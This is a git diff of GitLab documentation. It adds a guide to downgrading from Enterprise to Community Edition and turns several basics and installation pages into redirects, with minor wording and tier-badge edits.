+group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Downgrading from EE to CE + +If you ever decide to downgrade your Enterprise Edition back to the Community +Edition, there are a few steps you need take before installing the CE package +on top of the current EE package, or, if you are in an installation from source, +before you change remotes and fetch the latest CE code. + +## Disable Enterprise-only features + +First thing to do is to disable the following features. + +### Authentication mechanisms + +Kerberos and Atlassian Crowd are only available on the Enterprise Edition, so +you should disable these mechanisms before downgrading and you should provide +alternative authentication methods to your users. + +### Remove Service Integration entries from the database + +The `GithubService` class is only available in the Enterprise Edition codebase, +so if you downgrade to the Community Edition, the following error displays: + +```plaintext +Completed 500 Internal Server Error in 497ms (ActiveRecord: 32.2ms) + +ActionView::Template::Error (The single-table inheritance mechanism failed to locate the subclass: 'GithubService'. This +error is raised because the column 'type' is reserved for storing the class in case of inheritance. Please rename this +column if you didn't intend it to be used for storing the inheritance class or overwrite Service.inheritance_column to +use another column for that information.) +``` + +All services are created automatically for every project you have, so in order +to avoid getting this error, you need to remove all instances of the +`GithubService` from your database: + +**Omnibus Installation** + +```shell +sudo gitlab-rails runner "Service.where(type: ['GithubService']).delete_all" +``` + +**Source Installation** + +```shell +bundle exec rails runner "Service.where(type: ['GithubService']).delete_all" production +``` + +NOTE: +If you are running `GitLab =< v13.0` you need to also remove `JenkinsDeprecatedService` records +and if you are running `GitLab =< v13.6` you need to also remove `JenkinsService` records. + +### Variables environment scopes + +If you're using this feature and there are variables sharing the same +key, but they have different scopes in a project, then you might want to +revisit the environment scope setting for those variables. + +In CE, environment scopes are completely ignored, therefore you could +accidentally get a variable which you're not expecting for a particular +environment. Make sure that you have the right variables in this case. + +Data is completely preserved, so you could always upgrade back to EE and +restore the behavior if you leave it alone. + +## Downgrade to CE + +After performing the above mentioned steps, you are now ready to downgrade your +GitLab installation to the Community Edition. + +**Omnibus Installation** + +To downgrade an Omnibus installation, it is sufficient to install the Community +Edition package on top of the currently installed one. You can do this manually, +by directly [downloading the package](https://packages.gitlab.com/gitlab/gitlab-ce) +you need, or by adding our CE package repository and following the +[CE installation instructions](https://about.gitlab.com/install/?version=ce). + +**Source Installation** + +To downgrade a source installation, you need to replace the current remote of +your GitLab installation with the Community Edition's remote, fetch the latest +changes, and checkout the latest stable branch: + +```shell +git remote set-url origin git@gitlab.com:gitlab-org/gitlab-foss.git +git fetch --all +git checkout 8-x-stable +``` + +Remember to follow the correct [update guides](../update/index.md) to make +sure all dependencies are up to date. diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md index b933cb873c8..c815842480c 100644 --- a/doc/gitlab-basics/README.md +++ b/doc/gitlab-basics/README.md @@ -1,49 +1,8 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" -comments: false -type: index +redirect_to: 'index.md' --- -# GitLab basics guides +This document was moved to [another location](index.md). -This section provides resources to help you start working with GitLab and Git by focusing -on the basic features that you will need to use. - -This documentation is split into the following groups: - -- [GitLab-specific functionality](#gitlab-basics), for basic GitLab features. -- [General Git functionality](#working-with-git-from-the-command-line), for working - with Git in conjunction with GitLab. - -## GitLab basics - -The following are guides to basic GitLab functionality: - -- [Create and add your SSH public key](create-your-ssh-keys.md), for enabling Git over SSH. -- [Create a project](create-project.md), to start using GitLab. -- [Create a group](../user/group/index.md#create-a-new-group), to combine and administer - projects together. -- [Create a branch](create-branch.md), to make changes to files stored in a project's repository. -- [Feature branch workflow](feature_branch_workflow.md). -- [Fork a project](fork-project.md), to duplicate projects so they can be worked on in parallel. -- [Add a file](add-file.md), to add new files to a project's repository. -- [Create an issue](../user/project/issues/managing_issues.md#create-a-new-issue), - to start collaborating within a project. -- [Create a merge request](../user/project/merge_requests/creating_merge_requests.md), to request changes made in a branch - be merged into a project's repository. -- See how these features come together in the [GitLab Flow introduction video](https://youtu.be/InKNIvky2KE) - and [GitLab Flow page](../topics/gitlab_flow.md). - -## Working with Git from the command line - -If you're familiar with Git on the command line, you can interact with your GitLab -projects just as you would with any other Git repository. - -These resources will help you get further acclimated to working on the command line. - -- [Start using Git on the command line](start-using-git.md), for some simple Git commands. -- [Command line basics](command-line-commands.md), to create and edit files using the command line. - -More Git resources are available in the GitLab [Git documentation](../topics/git/index.md). +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md index 4afeb5ce83b..33db7d74949 100644 --- a/doc/gitlab-basics/add-file.md +++ b/doc/gitlab-basics/add-file.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: howto --- -# Add a file to a repository +# Add a file to a repository **(FREE)** Adding files to a repository is a small, but key task. Bringing files in to a repository, such as code, images, or documents, allows them to be tracked by Git, even though they diff --git a/doc/gitlab-basics/add-image.md b/doc/gitlab-basics/add-image.md deleted file mode 100644 index 8eb60f03877..00000000000 --- a/doc/gitlab-basics/add-image.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'add-file.md' ---- - -This document was moved to [another location](add-file.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/add-merge-request.md b/doc/gitlab-basics/add-merge-request.md deleted file mode 100644 index a04bc5704e5..00000000000 --- a/doc/gitlab-basics/add-merge-request.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/merge_requests/creating_merge_requests.md' ---- - -This document was moved to [another location](../user/project/merge_requests/creating_merge_requests.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/basic-git-commands.md b/doc/gitlab-basics/basic-git-commands.md deleted file mode 100644 index 506fe89fc18..00000000000 --- a/doc/gitlab-basics/basic-git-commands.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'start-using-git.md' ---- - -This document was moved to [another location](start-using-git.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/command-line-commands.md b/doc/gitlab-basics/command-line-commands.md index d237fa940e3..52facc7bd1a 100644 --- a/doc/gitlab-basics/command-line-commands.md +++ b/doc/gitlab-basics/command-line-commands.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: howto, reference --- -# Edit files through the command line +# Edit files through the command line **(FREE)** When [working with Git from the command line](start-using-git.md), you need to use more than just the Git commands. There are several basic commands that you should @@ -106,9 +106,9 @@ WARNING: Be careful of the commands you run with `sudo`. Certain commands may cause damage to your data or system. -## Sample Git taskflow +## Sample Git task flow -If you're completely new to Git, looking through some [sample taskflows](https://rogerdudler.github.io/git-guide/) +If you're completely new to Git, looking through some [sample task flows](https://rogerdudler.github.io/git-guide/) may help you understand the best practices for using these commands as you work. <!-- ## Troubleshooting diff --git a/doc/gitlab-basics/create-branch.md b/doc/gitlab-basics/create-branch.md index 3697ae34bf9..9f4f46e5bd3 100644 --- a/doc/gitlab-basics/create-branch.md +++ b/doc/gitlab-basics/create-branch.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: howto --- -# How to create a branch +# How to create a branch **(FREE)** A branch is an independent line of development in a [project](../user/project/index.md). diff --git a/doc/gitlab-basics/create-group.md b/doc/gitlab-basics/create-group.md deleted file mode 100644 index f683b92af89..00000000000 --- a/doc/gitlab-basics/create-group.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/group/index.md#create-a-new-group' ---- - -This document was moved to [another location](../user/group/index.md#create-a-new-group). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-issue.md b/doc/gitlab-basics/create-issue.md deleted file mode 100644 index 39e47690264..00000000000 --- a/doc/gitlab-basics/create-issue.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/issues/index.md#viewing-and-managing-issues' ---- - -This document was moved to [another location](../user/project/issues/index.md#viewing-and-managing-issues). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md index c4fe522e6a2..18886120c63 100644 --- a/doc/gitlab-basics/create-project.md +++ b/doc/gitlab-basics/create-project.md @@ -1,175 +1,8 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" -type: howto +redirect_to: '../user/project/working_with_projects.md' --- -# Create a project +This document was moved to [another location](../user/project/working_with_projects.md). -Most work in GitLab is done within a [Project](../user/project/index.md). Files and -code are saved in projects, and most features are used within the scope of projects. - -## Create a project in GitLab - -To create a project in GitLab: - -1. In your dashboard, click the green **New project** button or use the plus - icon in the navigation bar. This opens the **New project** page. -1. On the **New project** page, choose if you want to: - - Create a [blank project](#blank-projects). - - Create a project using one of the available [project templates](#project-templates). - - [Import a project](../user/project/import/index.md) from a different repository, - if enabled on your GitLab instance. Contact your GitLab administrator if this is unavailable. - - Run [CI/CD pipelines for external repositories](../ci/ci_cd_for_external_repos/index.md). **(PREMIUM)** - -NOTE: -For a list of words that can't be used as project names see -[Reserved project and group names](../user/reserved_names.md). - -### Blank projects - -To create a new blank project on the **New project** page: - -1. On the **Blank project** tab, provide the following information: - - The name of your project in the **Project name** field. You can't use - special characters, but you can use spaces, hyphens, underscores, or even - emoji. When adding the name, the **Project slug** auto populates. - The slug is what the GitLab instance uses as the URL path to the project. - If you want a different slug, input the project name first, - then change the slug after. - - The path to your project in the **Project slug** field. This is the URL - path for your project that the GitLab instance uses. If the - **Project name** is blank, it auto populates when you fill in - the **Project slug**. - - The **Project description (optional)** field enables you to enter a - description for your project's dashboard, which helps others - understand what your project is about. Though it's not required, it's a good - idea to fill this in. - - Changing the **Visibility Level** modifies the project's - [viewing and access rights](../public_access/public_access.md) for users. - - Selecting the **Initialize repository with a README** option creates a - README file so that the Git repository is initialized, has a default branch, and - can be cloned. -1. Click **Create project**. - -### Project templates - -Project templates can pre-populate a new project with the necessary files to get you -started quickly. - -There are two main types of project templates: - -- [Built-in templates](#built-in-templates), sourced from the following groups: - - [`project-templates`](https://gitlab.com/gitlab-org/project-templates) - - [`pages`](https://gitlab.com/pages) -- [Custom project templates](#custom-project-templates), for custom templates - configured by GitLab administrators and users. - -#### Built-in templates - -Built-in templates are project templates that are: - -- Developed and maintained in the [`project-templates`](https://gitlab.com/gitlab-org/project-templates) - and [`pages`](https://gitlab.com/pages) groups. -- Released with GitLab. - -To use a built-in template on the **New project** page: - -1. On the **Create from template** tab, select the **Built-in** tab. -1. From the list of available built-in templates, click the: - - **Preview** button to look at the template source itself. - - **Use template** button to start creating the project. -1. Finish creating the project by filling out the project's details. The process is - the same as creating a [blank project](#blank-projects). - -##### Enterprise templates **(ULTIMATE)** - -GitLab is developing Enterprise templates to help you streamline audit management with selected regulatory standards. These templates automatically import issues that correspond to each regulatory requirement. - -To create a new project with an Enterprise template, on the **New project** page: - -1. On the **Create from template** tab, select the **Built-in** tab. -1. From the list of available built-in Enterprise templates, click the: - - **Preview** button to look at the template source itself. - - **Use template** button to start creating the project. -1. Finish creating the project by filling out the project's details. The process is the same as creating a [blank project](#blank-projects). - -Available Enterprise templates include: - -- HIPAA Audit Protocol template ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10) - -NOTE: -You can improve the existing built-in templates or contribute new ones in the -[`project-templates`](https://gitlab.com/gitlab-org/project-templates) and -[`pages`](https://gitlab.com/pages) groups by following [these steps](https://gitlab.com/gitlab-org/project-templates/contributing). - -#### Custom project templates **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.2. - -Creating new projects based on custom project templates is a convenient option for -quickly starting projects. - -Custom projects are available at the [instance-level](../user/admin_area/custom_project_templates.md) -from the **Instance** tab, or at the [group-level](../user/group/custom_project_templates.md) -from the **Group** tab, under the **Create from template** tab. - -To use a custom project template on the **New project** page: - -1. On the **Create from template** tab, select the **Instance** tab or the **Group** tab. -1. From the list of available custom templates, click the: - - **Preview** button to look at the template source itself. - - **Use template** button to start creating the project. -1. Finish creating the project by filling out the project's details. The process is - the same as creating a [blank project](#blank-projects). - -## Push to create a new project - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5. - -When you create a new repository locally, instead of manually creating a new project in GitLab -and then [cloning the repository](start-using-git.md#clone-a-repository) -locally, you can directly push it to GitLab to create the new project, all without leaving -your terminal. If you have access rights to the associated namespace, GitLab -automatically creates a new project under that GitLab namespace with its visibility -set to Private by default (you can later change it in the [project's settings](../public_access/public_access.md#how-to-change-project-visibility)). - -This can be done by using either SSH or HTTPS: - -```shell -## Git push using SSH -git push --set-upstream git@gitlab.example.com:namespace/nonexistent-project.git master - -## Git push using HTTPS -git push --set-upstream https://gitlab.example.com/namespace/nonexistent-project.git master -``` - -You can pass the flag `--tags` to the `git push` command to export existing repository tags. - -Once the push finishes successfully, a remote message indicates -the command to set the remote and the URL to the new project: - -```plaintext -remote: -remote: The private project namespace/nonexistent-project was created. -remote: -remote: To configure the remote, run: -remote: git remote add origin https://gitlab.example.com/namespace/nonexistent-project.git -remote: -remote: To view the project, visit: -remote: https://gitlab.example.com/namespace/nonexistent-project -remote: -``` - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +<!-- This redirect file can be deleted after <2021-05-05>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md index 98e01df7252..9cbaca91f7d 100644 --- a/doc/gitlab-basics/create-your-ssh-keys.md +++ b/doc/gitlab-basics/create-your-ssh-keys.md @@ -1,30 +1,8 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" -type: howto +redirect_to: '../ssh/README.md' --- -# Create and add your SSH key pair +This document was moved to [another location](../ssh/README.md). -It's best practice to use [Git over SSH instead of Git over HTTP](https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols). -In order to use SSH, you need to: - -1. Create an SSH key pair -1. Add your SSH public key to GitLab - -## Creating your SSH key pair - -1. Go to your [command line](start-using-git.md#command-shell). -1. Follow the [instructions](../ssh/README.md#generating-a-new-ssh-key-pair) to generate - your SSH key pair. - -## Adding your SSH public key to GitLab - -To add the SSH public key to GitLab, see -[Adding an SSH key to your GitLab account](../ssh/README.md#adding-an-ssh-key-to-your-gitlab-account). - -NOTE: -Once you add a key, you can't edit it. If it did not paste properly, it -[will not work](../ssh/README.md#testing-that-everything-is-set-up-correctly), and -you need to remove the key from GitLab and try adding it again. +<!-- This redirect file can be deleted after <2021-07-04>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/gitlab-basics/feature_branch_workflow.md b/doc/gitlab-basics/feature_branch_workflow.md index e02be390ab8..682bc1aec0b 100644 --- a/doc/gitlab-basics/feature_branch_workflow.md +++ b/doc/gitlab-basics/feature_branch_workflow.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated disqus_identifier: 'https://docs.gitlab.com/ee/workflow/workflow.html' --- -# Feature branch workflow +# Feature branch workflow **(FREE)** 1. Clone project: diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md index 2f8cde2e1b7..adb49c6970f 100644 --- a/doc/gitlab-basics/fork-project.md +++ b/doc/gitlab-basics/fork-project.md @@ -1,14 +1,8 @@ --- -stage: Create -group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" -type: howto +redirect_to: '../user/project/working_with_projects.md' --- -# How to fork a project +This document was moved to [another location](../user/project/working_with_projects.md). -A fork is a copy of an original repository that you put in another namespace -where you can experiment and apply changes that you can later decide whether or -not to share, without affecting the original project. - -It takes just a few steps to [fork a project in GitLab](../user/project/repository/forking_workflow.md#creating-a-fork). +<!-- This redirect file can be deleted after <2021-05-04>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/gitlab-basics/index.md b/doc/gitlab-basics/index.md new file mode 100644 index 00000000000..8052fd27bb3 --- /dev/null +++ b/doc/gitlab-basics/index.md @@ -0,0 +1,49 @@ +--- +stage: Create +group: Source Code +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" +comments: false +type: index +--- + +# GitLab basics guides **(FREE)** + +This section provides resources to help you start working with GitLab and Git by focusing +on the basic features that you will need to use. + +This documentation is split into the following groups: + +- [GitLab-specific functionality](#gitlab-basics), for basic GitLab features. +- [General Git functionality](#working-with-git-from-the-command-line), for working + with Git in conjunction with GitLab. + +## GitLab basics + +The following are guides to basic GitLab functionality: + +- [Create and add your SSH public key](../ssh/README.md), for enabling Git over SSH. +- [Create a project](../user/project/working_with_projects.md#create-a-project), to start using GitLab. +- [Create a group](../user/group/index.md#create-a-new-group), to combine and administer + projects together. +- [Create a branch](create-branch.md), to make changes to files stored in a project's repository. +- [Feature branch workflow](feature_branch_workflow.md). +- [Fork a project](../user/project/working_with_projects.md#fork-a-project), to duplicate projects so they can be worked on in parallel. +- [Add a file](add-file.md), to add new files to a project's repository. +- [Create an issue](../user/project/issues/managing_issues.md#create-a-new-issue), + to start collaborating within a project. +- [Create a merge request](../user/project/merge_requests/creating_merge_requests.md), to request changes made in a branch + be merged into a project's repository. +- See how these features come together in the [GitLab Flow introduction video](https://youtu.be/InKNIvky2KE) + and [GitLab Flow page](../topics/gitlab_flow.md). + +## Working with Git from the command line + +If you're familiar with Git on the command line, you can interact with your GitLab +projects just as you would with any other Git repository. + +These resources will help you get further acclimated to working on the command line. + +- [Start using Git on the command line](start-using-git.md), for some simple Git commands. +- [Command line basics](command-line-commands.md), to create and edit files using the command line. + +More Git resources are available in the GitLab [Git documentation](../topics/git/index.md). diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index 7f3e90dc6bd..a2d286379d2 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -6,7 +6,7 @@ type: howto, tutorial description: "Introduction to using Git through the command line." --- -# Start using Git on the command line +# Start using Git on the command line **(FREE)** [Git](https://git-scm.com/) is an open-source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. GitLab is built @@ -51,7 +51,7 @@ prompt, terminal, and command line) of your preference. Here are some suggestion - Built-in: [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type "terminal" to find it. - [iTerm2](https://iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users. - For Windows users: - - Built-in: **cmd**. Click the search icon on the bottom navbar on Windows and type "cmd" to find it. + - Built-in: `cmd`. Click the search icon on the bottom navigation bar on Windows and type `cmd` to find it. - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7): a Windows "powered up" shell, from which you can execute a greater number of commands. - Git Bash: it comes built into [Git for Windows](https://gitforwindows.org/). - For Linux users: @@ -152,8 +152,12 @@ Your files in GitLab live in a **repository**, similar to how you have them in a directory in your computer. **Remote** repository refers to the files in GitLab and the copy in your computer is called **local** copy. A **project** in GitLab is what holds a repository, which holds your files. -Often, the word "repository" is shortened to "repo". +<!-- vale gitlab.Spelling = NO --> +<!-- vale gitlab.SubstitutionWarning = NO --> +Often, the word "repository" is shortened to "repo". +<!-- vale gitlab.Spelling = YES --> +<!-- vale gitlab.SubstitutionWarning = YES --> ### Fork When you want to copy someone else's repository, you [**fork**](../user/project/repository/forking_workflow.md#creating-a-fork) @@ -274,7 +278,7 @@ identified by Git as the local content for that specific remote project. To add a remote repository to your local copy: -1. In GitLab, [create a new project](../gitlab-basics/create-project.md#push-to-create-a-new-project) to hold your files. +1. In GitLab, [create a new project](../user/project/working_with_projects.md#create-a-project) to hold your files. 1. Visit this project's homepage, scroll down to **Push an existing folder**, and copy the command that starts with `git remote add`. 1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>: diff --git a/doc/install/README.md b/doc/install/README.md index 7ed478439e0..c815842480c 100644 --- a/doc/install/README.md +++ b/doc/install/README.md @@ -1,143 +1,8 @@ --- -stage: Enablement -group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -description: Read through the GitLab installation methods. -type: index +redirect_to: 'index.md' --- -# Installation **(CORE ONLY)** +This document was moved to [another location](index.md). -GitLab can be installed in most GNU/Linux distributions and with several -cloud providers. To get the best experience from GitLab, you must balance -performance, reliability, ease of administration (backups, upgrades, and -troubleshooting), and the cost of hosting. - -Depending on your platform, select from the following available methods to -install GitLab: - -- [_Omnibus GitLab_](#installing-gitlab-on-linux-using-the-omnibus-gitlab-package-recommended): - The official deb/rpm packages that contain a bundle of GitLab and the - components it depends on, including PostgreSQL, Redis, and Sidekiq. -- [_GitLab Helm chart_](#installing-gitlab-on-kubernetes-via-the-gitlab-helm-charts): - The cloud native Helm chart for installing GitLab and all of its components - on Kubernetes. -- [_Docker_](#installing-gitlab-with-docker): The Omnibus GitLab packages, - dockerized. -- [_Source_](#installing-gitlab-from-source): Install GitLab and all of its - components from scratch. -- [_Cloud provider_](#installing-gitlab-on-cloud-providers): Install directly - from platforms like AWS, Azure, and GCP. - -If you're not sure which installation method to use, we recommend you use -Omnibus GitLab. The Omnibus GitLab packages are mature, -[scalable](../administration/reference_architectures/index.md), and are used -today on GitLab.com. The Helm charts are recommended for those who are familiar -with Kubernetes. - -## Requirements - -Before you install GitLab, be sure to review the [system requirements](requirements.md). -The system requirements include details about the minimum hardware, software, -database, and additional requirements to support GitLab. - -## Installing GitLab on Linux using the Omnibus GitLab package (recommended) - -The Omnibus GitLab package uses our official deb/rpm repositories, and is -recommended for most users. - -If you need additional scale or resilience, we recommend deploying -GitLab as described in our [reference architecture documentation](../administration/reference_architectures/index.md). - -[**> Install GitLab using the Omnibus GitLab package.**](https://about.gitlab.com/install/) - -### GitLab Environment Toolkit (alpha) - -The [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit) provides a set of automation tools to easily deploy a [reference architecture](../administration/reference_architectures/index.md) on most major cloud providers. - -It is currently in alpha, and is not recommended for production use. - -[**> Install a GitLab reference architecture using the GitLab Environment Toolkit.**](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit#documentation) - -## Installing GitLab on Kubernetes via the GitLab Helm charts - -When installing GitLab on Kubernetes, there are some trade-offs that you -need to be aware of: - -- Administration and troubleshooting requires Kubernetes knowledge. -- It can be more expensive for smaller installations. The default installation - requires more resources than a single node Omnibus deployment, as most services - are deployed in a redundant fashion. -- There are some feature [limitations to be aware of](https://docs.gitlab.com/charts/#limitations). - -Due to these trade-offs, having Kubernetes experience is a requirement for -using this method. We recommend being familiar with Kubernetes before using it -to deploy GitLab in production. The methods for management, observability, and -some concepts are different than traditional deployments. - -[**> Install GitLab on Kubernetes using the GitLab Helm charts.**](https://docs.gitlab.com/charts/) - -## Installing GitLab with Docker - -GitLab maintains a set of official Docker images based on the Omnibus GitLab -package. - -[**> Install GitLab using the official GitLab Docker images.**](docker.md) - -## Installing GitLab from source - -If the Omnibus GitLab package isn't available for your distribution, you can -install GitLab from source. This can be useful with unsupported systems, like -\*BSD. For an overview of the directory structure, see the -[structure documentation](installation.md#gitlab-directory-structure). - -[**> Install GitLab from source.**](installation.md) - -## Installing GitLab on cloud providers - -GitLab can be installed on a variety of cloud providers by using any of -the above methods, provided the cloud provider supports it. - -- [Install on AWS](aws/index.md): Install Omnibus GitLab on AWS using the community AMIs that GitLab provides. -- [Install GitLab on Google Cloud Platform](google_cloud_platform/index.md): Install Omnibus GitLab on a VM in GCP. -- [Install GitLab on Azure](azure/index.md): Install Omnibus GitLab from Azure Marketplace. -- [Install GitLab on OpenShift](https://docs.gitlab.com/charts/installation/cloud/openshift.html): Install GitLab on OpenShift by using the GitLab Helm charts. -- [Install GitLab on DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-gitlab-on-ubuntu-18-04): Install Omnibus GitLab on DigitalOcean. -- _Testing only!_ [DigitalOcean and Docker Machine](digitaloceandocker.md): - Quickly test any version of GitLab on DigitalOcean using Docker Machine. - -## Next steps - -Here are a few resources you might want to check out after completing the -installation: - -- [Upload a license](../user/admin_area/license.md) or [start a free trial](https://about.gitlab.com/free-trial/): - Activate all GitLab Enterprise Edition functionality with a license. -- [Set up runners](https://docs.gitlab.com/runner/): Set up one or more GitLab - Runners, the agents that are responsible for all of the GitLab CI/CD features. -- [GitLab Pages](../administration/pages/index.md): Configure GitLab Pages to - allow hosting of static sites. -- [GitLab Registry](../administration/packages/container_registry.md): With the - GitLab Container Registry, every project can have its own space to store Docker - images. -- [Secure GitLab](../security/README.md#securing-your-gitlab-installation): - Recommended practices to secure your GitLab instance. -- [SMTP](https://docs.gitlab.com/omnibus/settings/smtp.html): Configure SMTP - for proper email notifications support. -- [LDAP](../administration/auth/ldap/index.md): Configure LDAP to be used as - an authentication mechanism for GitLab. -- [Back up and restore GitLab](../raketasks/backup_restore.md): Learn the different - ways you can back up or restore GitLab. -- [Upgrade GitLab](../update/README.md): Every 22nd of the month, a new feature-rich GitLab version - is released. Learn how to upgrade to it, or to an interim release that contains a security fix. -- [Scaling GitLab](../administration/reference_architectures/index.md): - GitLab supports several different types of clustering. -- [Advanced Search](../integration/elasticsearch.md): Leverage Elasticsearch for - faster, more advanced code search across your entire GitLab instance. -- [Geo replication](../administration/geo/index.md): - Geo is the solution for widely distributed development teams. -- [Release and maintenance policy](../policy/maintenance.md): Learn about GitLab - policies governing version naming, as well as release pace for major, minor, patch, - and security releases. -- [Pricing](https://about.gitlab.com/pricing/): Pricing for the different tiers. +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md index 8a8e3a053b6..8fa1883da59 100644 --- a/doc/install/aws/index.md +++ b/doc/install/aws/index.md @@ -122,7 +122,7 @@ Internet Gateway. We'll now create a VPC, a virtual networking environment that you'll control: -1. Navigate to <https://console.aws.amazon.com/vpc/home>. +1. Sign in to [Amazon Web Services](https://console.aws.amazon.com/vpc/home). 1. Select **Your VPCs** from the left menu and then click **Create VPC**. At the "Name tag" enter `gitlab-vpc` and at the "IPv4 CIDR block" enter `10.0.0.0/16`. If you don't require dedicated hardware, you can leave @@ -277,7 +277,7 @@ On the Route 53 dashboard, click **Hosted zones** in the left navigation bar: 1. Click **Create**. 1. If you registered your domain through Route 53, you're done. If you used a different domain registrar, you need to update your DNS records with your domain registrar. You'll need to: 1. Click on **Hosted zones** and select the domain you added above. - 1. You'll see a list of `NS` records. From your domain registrar's admin panel, add each of these as `NS` records to your domain's DNS records. These steps may vary between domain registrars. If you're stuck, Google **"name of your registrar" add dns records** and you should find a help article specific to your domain registrar. + 1. You'll see a list of `NS` records. From your domain registrar's admin panel, add each of these as `NS` records to your domain's DNS records. These steps may vary between domain registrars. If you're stuck, Google **"name of your registrar" add DNS records** and you should find a help article specific to your domain registrar. The steps for doing this vary depending on which registrar you use and is beyond the scope of this guide. @@ -568,7 +568,7 @@ Let's create an EC2 instance where we'll install Gitaly: 1. From the EC2 dashboard, click **Launch instance**. 1. Choose an AMI. In this example, we'll select the **Ubuntu Server 18.04 LTS (HVM), SSD Volume Type**. -1. Choose an instance type. We'll pick a **c5.xlarge**. +1. Choose an instance type. We'll pick a `c5.xlarge`. 1. Click **Configure Instance Details**. 1. In the **Network** dropdown, select `gitlab-vpc`, the VPC we created earlier. 1. In the **Subnet** dropdown, select `gitlab-private-10.0.1.0` from the list of subnets we created earlier. diff --git a/doc/install/google-protobuf.md b/doc/install/google-protobuf.md deleted file mode 100644 index ae7b0548d51..00000000000 --- a/doc/install/google-protobuf.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcso6-version-glibc_214-not-found' ---- - -This document was moved to [another 